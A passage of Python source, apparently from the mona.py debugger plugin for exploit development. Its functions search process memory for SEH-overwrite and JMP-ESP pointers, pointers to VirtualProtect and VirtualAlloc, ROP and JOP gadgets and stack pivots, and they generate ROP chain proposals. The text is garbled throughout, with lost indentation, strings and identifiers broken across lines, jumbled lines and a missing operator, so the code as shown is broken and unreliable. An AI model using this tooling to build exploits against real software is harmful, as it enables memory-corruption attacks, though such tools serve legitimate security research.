dbg.log("[+] Done. Only the first %d poi
nters are shown here. For more pointers, open %s..." % (cnt,thislog))
else:
allptr = []
ptrcnt = 0
ptrinfo = ""
dbg.log("... Please wait while I'm processing results an
d writing everything to file...")
for optext,pointers in all_opcodes.iteritems():
for ptr in pointers:
if not ptr in allptr:
ptrinfo += "0x%s\n" % toHex(ptr)
ptrcnt += 1
if not silent:
dbg.log("[+] Writing results to file")
logfile.write(ptrinfo,thislog)

if not silent:
dbg.log("[+] Done")
dbg.log("
Found a total of %d pointers" % ptrcnt, highlight=1)
dbg.setStatusBar("Done. Found %d pointers" % ptrcnt)
def mergeOpcodes(all_opcodes,found_opcodes):
"""
merges two dictionaries together
Arguments:
all_opcodes - the target dictionary
found_opcodes - the source dictionary
Return:
Dictionary (merged dictionaries)
"""
if found_opcodes:
for hf in found_opcodes:
if hf in all_opcodes:
all_opcodes[hf] += found_opcodes[hf]
else:
all_opcodes[hf] = found_opcodes[hf]
return all_opcodes
def findSEH(modulecriteria={},criteria={}):
"""
Performs a search for pointers to gain code execution in a SEH overwrite
exploit
Arguments:
modulecriteria - dictionary with criteria modules need to comply with.
Default settings are : ignore aslr, rebase and safeseh
protected modules
criteria - dictionary with criteria the pointers need to comply with.
Return:
Dictionary (pointers)
"""
type = ""
if "rop" in criteria:
type = "rop"
search = getSearchSequences("seh",0,type)
found_opcodes = {}
all_opcodes = {}
modulestosearch = getModulesToQuery(modulecriteria)
if not silent:
dbg.log("[+] Querying %d modules" % len(modulestosearch))
starttime = datetime.datetime.now()
for thismodule in modulestosearch:
if not silent:
dbg.log("
- Querying module %s" % thismodule)
dbg.updateLog()
#search
found_opcodes = searchInModule(search,thismodule,criteria)
#merge results

all_opcodes = mergeOpcodes(all_opcodes,found_opcodes)
#search outside modules
if "all" in criteria:
if "accesslevel" in criteria:
if criteria["accesslevel"].find("R") == -1:
if not silent:
dbg.log("[+] Setting pointer access leve
l criteria to 'R', to increase search results")
criteria["accesslevel"] = "R"
if not silent:
dbg.log("
New pointer access level :
%s" % criteria["accesslevel"])
if criteria["all"]:
rangestosearch = getRangesOutsideModules()
if not silent:
dbg.log("[+] Querying memory outside modules")
for thisrange in rangestosearch:
if not silent:
dbg.log("
- Querying 0x%08x - 0x%08x"
% (thisrange[0],thisrange[1]))
found_opcodes = searchInRange(search, thisrange[
0], thisrange[1],criteria)
all_opcodes = mergeOpcodes(all_opcodes,found_opc
odes)
if not silent:
dbg.log("
- Search complete, processing resul
ts")
dbg.updateLog()
return all_opcodes
def findJMP(modulecriteria={},criteria={},register="esp"):
"""
Performs a search for pointers to jump to a given register
Arguments:
modulecriteria - dictionary with criteria modules need to comply with.
Default settings are : ignore aslr and rebased modules
criteria - dictionary with criteria the pointers need to comply with.
register - the register to jump to
Return:
Dictionary (pointers)
"""
search = getSearchSequences("jmp",register,"",criteria)
found_opcodes = {}
all_opcodes = {}
modulestosearch = getModulesToQuery(modulecriteria)
if not silent:
dbg.log("[+] Querying %d modules" % len(modulestosearch))
starttime = datetime.datetime.now()
for thismodule in modulestosearch:
if not silent:
dbg.log("
- Querying module %s" % thismodule)
dbg.updateLog()
#search
found_opcodes = searchInModule(search,thismodule,criteria)

#merge results
all_opcodes = mergeOpcodes(all_opcodes,found_opcodes)
if not silent:
dbg.log("
- Search complete, processing results")
dbg.updateLog()
return all_opcodes

def findROPFUNC(modulecriteria={},criteria={},searchfuncs=[]):
"""
Performs a search for pointers to pointers to interesting functions to f
acilitate a ROP exploit
Arguments:
modulecriteria - dictionary with criteria modules need to comply with.
Default settings are : ignore aslr and rebased modules
criteria - dictionary with criteria the pointers need to comply with.
optional :
searchfuncs - array with functions to include in the search
Return:
Dictionary (pointers)
"""
found_opcodes = {}
all_opcodes = {}
ptr_counter = 0
ropfuncs = {}
funccallresults = []
ropfuncoffsets = {}
functionnames = []
modulestosearch = getModulesToQuery(modulecriteria)
if searchfuncs == []:
functionnames = ["virtualprotect","virtualalloc","heapalloc","wi
nexec","setprocessdeppolicy","heapcreate","setinformationprocess","writeprocessm
emory","memcpy","memmove","strncpy","createmutex","getlasterror","strcpy","loadl
ibrary","freelibrary","getmodulehandle","getprocaddress","openfile","createfile"
,"createfilemapping","mapviewoffile","openfilemapping"]
else:
functionnames = searchfuncs
if not silent:
dbg.log("[+] Looking for pointers to interesting functions...")
curmod = ""
#ropfuncfilename="ropfunc.txt"
#objropfuncfile = MnLog(ropfuncfilename)
#ropfuncfile = objropfuncfile.reset()
offsets = {}
offsets["kernel32.dll"] = ["virtualprotect","virtualalloc","writeprocess
memory"]
# on newer OSes, functions are stored in kernelbase.dll
offsets["kernelbase.dll"] = ["virtualprotect","virtualalloc","writeproce
ssmemory"]
offsetpointers = {}
# populate absolute pointers
for themod in offsets:

fnames = offsets[themod]
try:
themodule = MnModule(themod)
if not themodule is None:
allfuncs = themodule.getEAT()
for fn in allfuncs:
for fname in fnames:
if allfuncs[fn].lower().find(fna
me.lower()) > -1:
fname = allfuncs[fn].low
er()
if not fname in offsetpo
inters:
offsetpointers[f
name] = fn
break
except:
continue
isrebased = False
for key in modulestosearch:
curmod = dbg.getModule(key)
#is this module going to get rebase ?
themodule = MnModule(key)
isrebased = themodule.isRebase
if not silent:
dbg.log("
- Querying %s" % (key))
allfuncs = themodule.getIAT()
dbg.updateLog()
for fn in allfuncs:
thisfuncname = allfuncs[fn].lower()
thisfuncfullname = thisfuncname
if not meetsCriteria(MnPointer(fn), criteria):
continue
ptr = 0
try:
ptr=struct.unpack('<L',dbg.readMemory(fn,4))[0]
except:
pass
if ptr != 0:
# get offset to one of the offset functions
# where does pointer belong to ?
pmodname = MnPointer(ptr).belongsTo()
if pmodname != "":
if pmodname.lower() in offsets:
# find distance to each of the i
nteresting functions in this module
for interestingfunc in offsets[p
modname.lower()]:
if interestingfunc in of
fsetpointers:
offsetvalue = of
fsetpointers[interestingfunc] - ptr
operator = ""
if offsetvalue <
0:
operator
= "-"
offsetvaluehex =
toHex(offsetvalue).replace("-","")

thetype = "(%s IAT 0x%s : %s.%s (0x%s), offset to %s.%s (0x%s) : %d (%s0x%s)" % (key,toHex(fn)
,pmodname,thisfuncfullname,toHex(ptr),pmodname,interestingfunc,toHex(offsetpoint
ers[interestingfunc]),offsetvalue,operator,offsetvaluehex)
if not thetype i
n ropfuncoffsets:
ropfunco
ffsets[thetype] = [fn]
# see if it's a function we are looking for
for funcsearch in functionnames:
funcsearch = funcsearch.lower()
if thisfuncname.find(funcsearch) > -1:
extra = ""
extrafunc = ""
if isrebased:
extra = " [Warning : mod
ule is likely to get rebased !]"
extrafunc = "-rebased"
if not silent:
dbg.log("
0x%s : p
tr to %s (0x%s) (%s) %s" % (toHex(fn),thisfuncname,toHex(ptr),key,extra))
logtxt = thisfuncfullname.lower(
).strip()+extrafunc+" | 0x" + toHex(ptr)
if logtxt in ropfuncs:
ropfuncs[logtxt]
+= [fn]
else:
ropfuncs[logtxt]
= [fn]
ptr_counter += 1
if ptr_to_get > 0 and ptr_counte
r >= ptr_to_get:
ropfuncs,ropfuncoffsets
return ropfuncs,ropfuncoffsets
def assemble(instructions,encoder=""):
"""
Assembles one or more instructions to opcodes
Arguments:
instructions = the instructions to assemble (separated by #)
Return:
Dictionary (pointers)
"""
if not silent:
dbg.log("Opcode results : ")
dbg.log("---------------- ")
allopcodes=""
instructions = instructions.replace('"',"").replace("'","")
splitter=re.compile('#')
instructions=splitter.split(instructions)
for instruct in instructions:
try:
instruct = instruct.strip()
assembled=dbg.assemble(instruct)
strAssembled=""

for assemOpc in assembled:


if (len(hex(ord(assemOpc)))) == 3:
subAssembled = "\\x0"+hex(ord(assemOpc))
.replace('0x','')
strAssembled = strAssembled+subAssembled
else:
strAssembled = strAssembled+hex(ord(ass
emOpc)).replace('0x', '\\x')
if len(strAssembled) < 30:
if not silent:
dbg.log(" %s = %s" % (instruct,strAssemb
led))
allopcodes=allopcodes+strAssembled
else:
if not silent:
dbg.log(" %s => Unable to assemble this
instruction !" % instruct,highlight=1)
except:
if not silent:
dbg.log(" Could not assemble %s " % instruct)
pass
if not silent:
dbg.log(" Full opcode : %s " % allopcodes)
return allopcodes
def findROPGADGETS(modulecriteria={},criteria={},endings=[],maxoffset=40,depth=5
,split=False,pivotdistance=0,fast=False,mode="all"):
"""
Searches for rop gadgets
Arguments:
modulecriteria - dictionary with criteria modules need to comply with.
Default settings are : ignore aslr and rebased modules
criteria - dictionary with criteria the pointers need to comply with.
endings - array with all rop gadget endings to look for. Default : RETN
and RETN+offsets
maxoffset - maximum offset value for RETN if endings are set to RETN
depth - maximum number of instructions to go back
split - Boolean that indicates whether routine should write all gadgets
to one file, or split per module
pivotdistance - minimum distance a stackpivot needs to be
fast - Boolean indicating if you want to process less obvious gadgets as
well
mode - internal use only
Return:
Output is written to files, containing rop gadgets, suggestions, stack p
ivots and virtualprotect/virtualalloc routine (if possible)
"""
found_opcodes = {}
all_opcodes = {}
ptr_counter = 0
modulestosearch = getModulesToQuery(modulecriteria)
progressid=str(dbg.getDebuggedPid())
progressfilename="_rop_progress_"+dbg.getDebuggedName()+"_"+progressid+"
.log"

objprogressfile = MnLog(progressfilename)
progressfile = objprogressfile.reset()
dbg.log("[+]
dbg.log("[+]
dbg.log("[+]
pivotdistance))
dbg.log("[+]
dbg.log("[+]

Progress will be written to %s" % progressfilename)


Maximum offset : %d" % maxoffset)
(Minimum/optional maximum) stackpivot distance : %s" % str(
Max nr of instructions : %d" % depth)
Split output into module rop files ? %s" % split)

usefiles = False
filestouse = []
vplogtxt = ""
suggestions = {}
if "f" in criteria:
if criteria["f"] <> "":
if type(criteria["f"]).__name__.lower() != "bool":
usefiles = True
rawfilenames = criteria["f"].replace('"',"")
allfiles = rawfilenames.split(',')
#check if files exist
dbg.log("[+] Attempting to use %d rop file(s) as
input" % len(allfiles))
for fname in allfiles:
fname = fname.strip()
if not os.path.exists(fname):
dbg.log("
** %s : Does not e
xist !" % fname, highlight=1)
else:
filestouse.append(fname)
if len(filestouse) == 0:
dbg.log(" ** Unable to find any of the s
ource files, aborting... **", highlight=1)
return
search = []
if not usefiles:
if len(endings) == 0:
#RETN only
search.append("RETN")
for i in range(0, maxoffset + 1, 2):
search.append("RETN 0x"+ toHexByte(i))
else:
for ending in endings:
dbg.log("[+] Custom ending : %s" % ending)
if ending != "":
search.append(ending)
if len(modulestosearch) == 0:
dbg.log("[-] No modules selected, aborting search", high
light = 1)
return
dbg.log("[+] Enumerating %d endings in %d module(s)..." % (len(s
earch),len(modulestosearch)))
for thismodule in modulestosearch:
dbg.log("
- Querying module %s" % thismodule)
dbg.updateLog()

#search
found_opcodes = searchInModule(search,thismodule,criteri
a)
#merge results
all_opcodes = mergeOpcodes(all_opcodes,found_opcodes)
dbg.log("
- Search complete :")
else:
dbg.log("[+] Reading input files")
for filename in filestouse:
dbg.log("
- Reading %s" % filename)
all_opcodes = mergeOpcodes(all_opcodes,readGadgetsFromFi
le(filename))
dbg.updateLog()
tp = 0
for endingtype in all_opcodes:
if len(all_opcodes[endingtype]) > 0:
if usefiles:
dbg.log("
Ending : %s, Nr found : %d" % (e
ndingtype,len(all_opcodes[endingtype]) / 2))
tp = tp + len(all_opcodes[endingtype]) / 2
else:
dbg.log("
Ending : %s, Nr found : %d" % (e
ndingtype,len(all_opcodes[endingtype])))
tp = tp + len(all_opcodes[endingtype])
global silent
if not usefiles:
dbg.log("
- Filtering and mutating %d gadgets" % tp)
else:
dbg.log("
- Categorizing %d gadgets" % tp)
silent = True
dbg.updateLog()
ropgadgets = {}
interestinggadgets = {}
stackpivots = {}
stackpivots_safeseh = {}
adcnt = 0
tc = 1
issafeseh = False
step = 0
updateth = 1000
if (tp >= 2000 and tp < 5000):
updateth = 500
if (tp < 2000):
updateth = 100
for endingtype in all_opcodes:
if len(all_opcodes[endingtype]) > 0:
for endingtypeptr in all_opcodes[endingtype]:
adcnt=adcnt+1
if usefiles:
adcnt = adcnt - 0.5
if adcnt > (tc*updateth):
thistimestamp=datetime.datetime.now().st
rftime("%a %Y/%m/%d %I:%M:%S %p")
updatetext = "
- Progress update :
" + str(tc*updateth) + " / " + str(tp) + " items processed (" + thistimestamp +
") - (" + str((tc*updateth*100)/tp)+"%)"
objprogressfile.write(updatetext.strip()
,progressfile)
dbg.log(updatetext)

dbg.updateLog()
tc += 1
if not usefiles:
#first get max backward instruction
thisopcode = dbg.disasmBackward(endingty
peptr,depth+1)
thisptr = thisopcode.getAddress()
# we now have a range to mine
startptr = thisptr
currentmodulename = MnPointer(thisptr).b
elongsTo()
modinfo = MnModule(currentmodulename)
issafeseh = modinfo.isSafeSEH
while startptr <= endingtypeptr and star
tptr != 0x0:
# get the entire chain from star
tptr to endingtypeptr
thischain = ""
msfchain = []
thisopcodebytes = ""
chainptr = startptr
if isGoodGadgetPtr(startptr,crit
eria) and not startptr in ropgadgets and not startptr in interestinggadgets:
invalidinstr = False
while chainptr < endingt
ypeptr and not invalidinstr:
thisopcode = dbg
.disasm(chainptr)
thisinstruction
= thisopcode.getDisasm()
if isGoodGadgetI
nstr(thisinstruction) and not isGadgetEnding(thisinstruction,search):
thischai
n = thischain + " # " + thisinstruction
msfchain
.append([chainptr,thisinstruction])
thisopco
debytes = thisopcodebytes + opcodesToHex(thisopcode.getDump().lower())
chainptr
= dbg.disasmForwardAddressOnly(chainptr,1)
else:
invalidi
nstr = True
if endingtypeptr == chai
nptr and startptr != chainptr and not invalidinstr:
fullchain = this
chain + " # " + endingtype
msfchain.append(
[endingtypeptr,endingtype])
thisopcode = dbg
.disasm(endingtypeptr)
thisopcodebytes
= thisopcodebytes + opcodesToHex(thisopcode.getDump().lower())
msfchain.append(
["raw",thisopcodebytes])
if isInteresting
Gadget(fullchain):
interest
inggadgets[startptr] = fullchain

#this ma
y be a good stackpivot too
stackpiv
otdistance = getStackPivotDistance(fullchain,pivotdistance)
if stack
pivotdistance > 0:
#safeseh or not ?
if issafeseh:
if not stackpivotdistance in stackpivots_safeseh:
stackpivots_safeseh.setdefault(stackpivotdistance,[[startptr,fullchain]])
else:
stackpivots_safeseh[stackpivotdistance] += [[startptr,fullchain]]
else:
if not stackpivotdistance in stackpivots:
stackpivots.setdefault(stackpivotdistance,[[startptr,fullchain]])
else:
stackpivots[stackpivotdistance] += [[startptr,fullchain]]
else:
if not f
ast:
ropgadgets[startptr] = fullchain
startptr = startptr+1
else:
if step == 0:
startptr = endingtypeptr
if step == 1:
thischain = endingtypeptr
chainptr = startptr
ptrx = MnPointer(chainptr)
modname = ptrx.belongsTo()
issafeseh = False
if modname != "":
thism = MnModule(modname
)
issafeseh = thism.isSafe
SEH
if isGoodGadgetPtr(startptr,crit
eria) and not startptr in ropgadgets and not startptr in interestinggadgets:
fullchain = thischain
if isInterestingGadget(f
ullchain):
interestinggadge
ts[startptr] = fullchain
#this may be a g
ood stackpivot too
stackpivotdistan
ce = getStackPivotDistance(fullchain,pivotdistance)

if stackpivotdis
tance > 0:
#safeseh
or not ?
if issaf
eseh:
if not stackpivotdistance in stackpivots_safeseh:
stackpivots_safeseh.setdefault(stackpivotdistance,[[startptr,fullchain]])
else:
stackpivots_safeseh[stackpivotdistance] += [[startptr,fullchain]]
else:
if not stackpivotdistance in stackpivots:
stackpivots.setdefault(stackpivotdistance,[[startptr,fullchain]])
else:
stackpivots[stackpivotdistance] += [[startptr,fullchain]]
else:
if not fast:
ropgadge
ts[startptr] = fullchain
step = -1
step += 1
thistimestamp = datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %
p")
updatetext = "
- Progress update : " + str(tp) + " / " + str(tp) +
" items processed (" + thistimestamp + ") - (100%)"
objprogressfile.write(updatetext.strip(),progressfile)
dbg.log(updatetext)
dbg.updateLog()
if mode == "all":
if len(ropgadgets) > 0 and len(interestinggadgets) > 0:
# another round of filtering
updatetext = "[+] Creating suggestions list"
dbg.log(updatetext)
objprogressfile.write(updatetext.strip(),progressfile)
suggestions = getRopSuggestion(interestinggadgets,ropgad
gets)
#see if we can propose something
updatetext = "[+] Processing suggestions"
dbg.log(updatetext)
objprogressfile.write(updatetext.strip(),progressfile)
suggtowrite=""
for suggestedtype in suggestions:
if suggestedtype.find("pop ") == -1:
#too many, don't write to file
suggtowrite += "[%s]\n" % suggestedtype
for suggestedpointer in suggestions[sugg
estedtype]:
sptr = MnPointer(suggestedpointe
r)
modname = sptr.belongsTo()

modinfo = MnModule(modname)
if not modinfo.moduleBase.__clas
s__.__name__ == "instancemethod":
rva = suggestedpointer modinfo.moduleBase
suggesteddata = suggestions[sugg
estedtype][suggestedpointer]
if not modinfo.moduleBase.__clas
s__.__name__ == "instancemethod":
ptrinfo = "0x" + toHex(s
uggestedpointer) + " (RVA : 0x" + toHex(rva) + ") : " + suggesteddata + "
**
[" + modname + "] ** | " + sptr.__str__()+"\n"
else:
ptrinfo = "0x" + toHex(s
uggestedpointer) + " : " + suggesteddata + "
** [" + modname + "] ** | " +
sptr.__str__()+"\n"
suggtowrite += ptrinfo
dbg.log("[+] Launching ROP generator")
updatetext = "Attempting to create rop chain proposals"
objprogressfile.write(updatetext.strip(),progressfile)
vplogtxt = createRopChains(suggestions,interestinggadget
s,ropgadgets,modulecriteria,criteria,objprogressfile,progressfile)
dbg.logLines(vplogtxt.replace("\t","
"))
dbg.log("
ROP generator finished")
else:
updatetext = "[+] Oops, no gadgets found, aborting.."
dbg.log(updatetext)
objprogressfile.write(updatetext.strip(),progressfile)
#done, write to log files
dbg.setStatusBar("Writing to logfiles...")
dbg.log("")
logfile = MnLog("stackpivot.txt")
thislog = logfile.reset()
objprogressfile.write("Writing " + str(len(stackpivots)+len(stackpivots_
safeseh))+" stackpivots with minimum offset " + str(pivotdistance)+" to file " +
thislog,progressfile)
dbg.log("[+] Writing stackpivots to file " + thislog)
logfile.write("Stack pivots, minimum distance " + str(pivotdistance),thi
slog)
logfile.write("-------------------------------------",thislog)
logfile.write("Non-safeSEH protected pivots :",thislog)
logfile.write("------------------------------",thislog)
arrtowrite = ""
pivotcount = 0
try:
with open(thislog,"a") as fh:
arrtowrite = ""
stackpivots_index = sorted(stackpivots) # returns sorted
keys as an array
for sdist in stackpivots_index:
for spivot, schain in stackpivots[sdist]:
ptrx = MnPointer(spivot)
modname = ptrx.belongsTo()
sdisthex = "%02x" % sdist
ptrinfo = "0x" + toHex(spivot) + " : {pi
vot " + str(sdist) + " / 0x" + sdisthex + "} : " + schain + "
** [" + modname
+ "] ** | " + ptrx.__str__()+"\n"
pivotcount += 1
arrtowrite += ptrinfo

fh.writelines(arrtowrite)
except:
pass
logfile.write("SafeSEH protected pivots :",thislog)
logfile.write("--------------------------",thislog)
arrtowrite = ""
try:
with open(thislog, "a") as fh:
arrtowrite = ""
stackpivots_safeseh_index = sorted(stackpivots_safeseh)
for sdist in stackpivots_safeseh_index:
for spivot, schain in stackpivots_safeseh[sdist]
:
ptrx = MnPointer(spivot)
modname = ptrx.belongsTo()
#modinfo = MnModule(modname)
sdisthex = "%02x" % sdist
ptrinfo = "0x" + toHex(spivot) + " : {pi
vot " + str(sdist) + " / 0x" + sdisthex + "} : " + schain + "
** [" + modname
+ "] ** | " + ptrx.__str__()+"\n"
pivotcount += 1
arrtowrite += ptrinfo
fh.writelines(arrtowrite)
except:
pass
dbg.log("
Wrote %d pivots to file " % pivotcount)
arrtowrite = ""
if mode == "all":
if len(suggestions) > 0:
logfile = MnLog("rop_suggestions.txt")
thislog = logfile.reset()
objprogressfile.write("Writing all suggestions to file "
+thislog,progressfile)
dbg.log("[+] Writing suggestions to file " + thislog )
logfile.write("Suggestions",thislog)
logfile.write("-----------",thislog)
with open(thislog, "a") as fh:
fh.writelines(suggtowrite)
fh.write("\n")
nrsugg = len(suggtowrite.split("\n"))
dbg.log("
Wrote %d suggestions to file" % nrsugg)
if not split:
logfile = MnLog("rop.txt")
thislog = logfile.reset()
objprogressfile.write("Gathering interesting gadgets",pr
ogressfile)
dbg.log("[+] Writing results to file " + thislog + " ("
+ str(len(interestinggadgets))+" interesting gadgets)")
logfile.write("Interesting gadgets",thislog)
logfile.write("-------------------",thislog)
dbg.updateLog()
try:
with open(thislog, "a") as fh:
arrtowrite = ""
for gadget in interestinggadgets:
ptrx = MnPointer(gadget)
modname = ptrx.belongsTo
()
#modinfo = MnModule(modn
ame)

adget) + " : " + interestinggadgets[gadget] + "


" + ptrx.__str__()+"\n"

ptrinfo = "0x" + toHex(g


** [" + modname + "] ** |

arrtowrite += ptrinfo
objprogressfile.write("Writing results t
o file " + thislog + " (" + str(len(interestinggadgets))+" interesting gadgets)"
,progressfile)
fh.writelines(arrtowrite)
dbg.log("
Wrote %d interesting gadgets to fil
e" % len(interestinggadgets))
except:
pass
arrtowrite=""
if not fast:
objprogressfile.write("Enumerating other gadgets
(" + str(len(ropgadgets))+")",progressfile)
dbg.log("[+] Writing other gadgets to file " + t
hislog + " (" + str(len(ropgadgets))+" gadgets)")
try:
logfile.write("",thislog)
logfile.write("Other gadgets",thislog)
logfile.write("-------------",thislog)
with open(thislog, "a") as fh:
arrtowrite=""
for gadget in ropgadgets:
ptrx = MnPointer
(gadget)
modname = ptrx.b
elongsTo()
#modinfo = MnMod
ule(modname)
ptrinfo = "0x" +
toHex(gadget) + " : " + ropgadgets[gadget] + "
** [" + modname + "] ** |
" + ptrx.__str__()+"\n"
arrtowrite += pt
rinfo
dbg.log("
Wrote %d other gadg
ets to file" % len(ropgadgets))
objprogressfile.write("Writing r
esults to file " + thislog + " (" + str(len(ropgadgets))+" other gadgets)",progr
essfile)
fh.writelines(arrtowrite)
except:
pass
else:
dbg.log("[+] Writing results to individual files (groupe
d by module)")
dbg.updateLog()
for thismodule in modulestosearch:
thismodname = thismodule.replace(" ","_")
thismodversion = getModuleProperty(thismodule,"v
ersion")
logfile = MnLog("rop_"+thismodname+"_"+thismodve
rsion+".txt")
thislog = logfile.reset()
logfile.write("Interesting gadgets",thislog)
logfile.write("-------------------",thislog)
for gadget in interestinggadgets:
ptrx = MnPointer(gadget)

modname = ptrx.belongsTo()
modinfo = MnModule(modname)
thismodversion = getModuleProperty(modname,"vers
ion")
thismodname = modname.replace(" ","_")
logfile = MnLog("rop_"+thismodname+"_"+thismodve
rsion+".txt")
tinggadgets[gadget] + "
()+"\n"

thislog = logfile.reset(False)
ptrinfo = "0x" + toHex(gadget) + " : " + interes
** " + modinfo.__str__() + " ** | " + ptrx.__str__
with open(thislog, "a") as fh:
fh.write(ptrinfo)
if not fast:
for thismodule in modulestosearch:
thismodname = thismodule.replace(" ","_"

)
thismodversion = getModuleProperty(thism
odule,"version")
logfile = MnLog("rop_"+thismodname+"_"+t
hismodversion+".txt")
logfile.write("Other gadgets",thislog)
logfile.write("-------------",thislog)
for gadget in ropgadgets:
ptrx = MnPointer(gadget)
modname = ptrx.belongsTo()
modinfo = MnModule(modname)
thismodversion = getModuleProperty(modna
me,"version")
thismodname = modname.replace(" ","_")
logfile = MnLog("rop_"+thismodname+"_"+t
hismodversion+".txt")
ropgadgets[gadget] + "
()+"\n"

thislog = logfile.reset(False)
ptrinfo = "0x" + toHex(gadget) + " : " +
** " + modinfo.__str__() + " ** | " + ptrx.__str__

with open(thislog, "a") as fh:


fh.write(ptrinfo)
thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p"
)
objprogressfile.write("Done (" + thistimestamp+")",progressfile)
dbg.log("Done")
return interestinggadgets,ropgadgets,suggestions,vplogtxt
#----- JOP gadget finder ----- #
def findJOPGADGETS(modulecriteria={},criteria={},depth=6):
"""
Searches for jop gadgets
Arguments:
modulecriteria - dictionary with criteria modules need to comply with.
Default settings are : ignore aslr and rebased modules
criteria - dictionary with criteria the pointers need to comply with.
depth - maximum number of instructions to go back
Return:
Output is written to files, containing jop gadgets and suggestions
"""
found_opcodes = {}

all_opcodes = {}
ptr_counter = 0
modulestosearch = getModulesToQuery(modulecriteria)
progressid=toHex(dbg.getDebuggedPid())
progressfilename="_jop_progress_"+dbg.getDebuggedName()+"_"+progressid+"
.log"
objprogressfile = MnLog(progressfilename)
progressfile = objprogressfile.reset()
dbg.log("[+] Progress will be written to %s" % progressfilename)
dbg.log("[+] Max nr of instructions : %d" % depth)
filesok = 0
usefiles = False
filestouse = []
vplogtxt = ""
suggestions = {}
fast = False
search = []
jopregs = ["EAX","EBX","ECX","EDX","ESI","EDI","EBP"]
offsetval = 0
for jreg in jopregs:
search.append("JMP " + jreg)
search.append("JMP [" + jreg + "]")
for offsetval in range(0, 40+1, 2):
search.append("JMP [" + jreg + "+0x" + toHexByte(offsetv
al)+"]")
search.append("JMP [ESP]")
for offsetval in range(0, 40+1, 2):
search.append("JMP [ESP+0x" + toHexByte(offsetval) + "]")
dbg.log("[+] Enumerating %d endings in %d module(s)..." % (len(search),l
en(modulestosearch)))
for thismodule in modulestosearch:
dbg.log("
- Querying module %s" % thismodule)
dbg.updateLog()
#search
found_opcodes = searchInModule(search,thismodule,criteria)
#merge results
all_opcodes = mergeOpcodes(all_opcodes,found_opcodes)
dbg.log("
- Search complete :")
dbg.updateLog()
tp = 0
for endingtype in all_opcodes:
if len(all_opcodes[endingtype]) > 0:
if usefiles:
dbg.log("
Ending : %s, Nr found : %d" % (e
ndingtype,len(all_opcodes[endingtype]) / 2))
tp = tp + len(all_opcodes[endingtype]) / 2
else:

dbg.log("
Ending : %s, Nr found : %d" % (e
ndingtype,len(all_opcodes[endingtype])))
tp = tp + len(all_opcodes[endingtype])
global silent
dbg.log("
- Filtering and mutating %d gadgets" % tp)
dbg.updateLog()
jopgadgets = {}
interestinggadgets = {}
adcnt = 0
tc = 1
issafeseh = False
step = 0
for endingtype in all_opcodes:
if len(all_opcodes[endingtype]) > 0:
for endingtypeptr in all_opcodes[endingtype]:
adcnt += 1
if usefiles:
adcnt = adcnt - 0.5
if adcnt > (tc*1000):
thistimestamp=datetime.datetime.now().st
rftime("%a %Y/%m/%d %I:%M:%S %p")
updatetext = "
- Progress update :
" + str(tc*1000) + " / " + str(tp) + " items processed (" + thistimestamp + ") (" + str((tc*1000*100)/tp)+"%)"
objprogressfile.write(updatetext.strip()
,progressfile)
dbg.log(updatetext)
dbg.updateLog()
tc += 1
#first get max backward instruction
thisopcode = dbg.disasmBackward(endingtypeptr,de
pth+1)
thisptr = thisopcode.getAddress()
# we now have a range to mine
startptr = thisptr
while startptr <= endingtypeptr and startptr !=
0x0:
# get the entire chain from startptr to
endingtypeptr
thischain = ""
msfchain = []
thisopcodebytes = ""
chainptr = startptr
if isGoodGadgetPtr(startptr,criteria) an
d not startptr in jopgadgets and not startptr in interestinggadgets:
# new pointer
invalidinstr = False
while chainptr < endingtypeptr a
nd not invalidinstr:
thisopcode = dbg.disasm(
chainptr)
thisinstruction = thisop
code.getDisasm()
if isGoodJopGadgetInstr(
thisinstruction) and not isGadgetEnding(thisinstruction,search):
thischain = thi
schain + " # " + thisinstruction

msfchain.append(
[chainptr,thisinstruction])
thisopcodebytes
= thisopcodebytes + opcodesToHex(thisopcode.getDump().lower())
chainptr = dbg.d
isasmForwardAddressOnly(chainptr,1)
else:
invalidinstr = T
rue
if endingtypeptr == chainptr and
startptr != chainptr and not invalidinstr:
fullchain = thischain +
" # " + endingtype
msfchain.append([endingt
ypeptr,endingtype])
thisopcode = dbg.disasm(
endingtypeptr)
thisopcodebytes = thisop
codebytes + opcodesToHex(thisopcode.getDump().lower())
msfchain.append(["raw",t
hisopcodebytes])
if isInterestingJopGadge
t(fullchain):
interestinggadge
ts[startptr] = fullchain
else:
if not fast:
jopgadge
ts[startptr] = fullchain
startptr = startptr+1
thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p"
)
updatetext = "
- Progress update : " + str(tp) + " / " + str(tp) +
" items processed (" + thistimestamp + ") - (100%)"
objprogressfile.write(updatetext.strip(),progressfile)
dbg.log(updatetext)
dbg.updateLog()
logfile = MnLog("jop.txt")
thislog = logfile.reset()
objprogressfile.write("Enumerating gadgets",progressfile)
dbg.log("[+] Writing results to file " + thislog + " (" + str(len(intere
stinggadgets))+" interesting gadgets)")
logfile.write("Interesting gadgets",thislog)
logfile.write("-------------------",thislog)
dbg.updateLog()
arrtowrite = ""
try:
with open(thislog, "a") as fh:
arrtowrite = ""
for gadget in interestinggadgets:
ptrx = MnPointer(gadget)
modname = ptrx.belongsTo()
modinfo = MnModule(modname)
ptrinfo = "0x" + toHex(gadget) + " : " +
interestinggadgets[gadget] + "
** " + modinfo.__str__() + " ** | " + ptrx
.__str__()+"\n"
arrtowrite += ptrinfo
objprogressfile.write("Writing results to file " + thisl

og + " (" + str(len(interestinggadgets))+" interesting gadgets)",progressfile)


fh.writelines(arrtowrite)
except:
pass
return interestinggadgets,jopgadgets,suggestions,vplogtxt
#----- File compare ----- #
def findFILECOMPARISON(modulecriteria={},criteria={},allfiles=[],tomatch="",chec
kstrict=True,rangeval=0,fast=False):
"""
Compares two or more files generated with mona.py and lists the entries
that have been found in all files
Arguments:
modulecriteria = not used
criteria = not used
allfiles = array with filenames to compare
tomatch = variable containing a string each line should contain
checkstrict = Boolean, when set to True, both the pointer and the instru
ctions should be exactly the same
Return:
File containing all matching pointers
"""
dbg.setStatusBar("Comparing files...")
dbg.updateLog()
filenotfound = False
for fcnt in xrange(len(allfiles)):
fname = allfiles[fcnt]
fname = fname.strip()
if os.path.exists(fname):
dbg.log("
- %d. %s" % (fcnt, allfiles[fcnt]))
else:
dbg.log("
** %s : Does not exist !" % allfiles[fcnt]
, highlight=1)
filenotfound = True
if filenotfound:
return
objcomparefile = MnLog("filecompare.txt")
comparefile = objcomparefile.reset()
objcomparefilenot = MnLog("filecompare_not.txt")
comparefilenot = objcomparefilenot.reset()
objcomparefilenot.write("Source files:",comparefilenot)
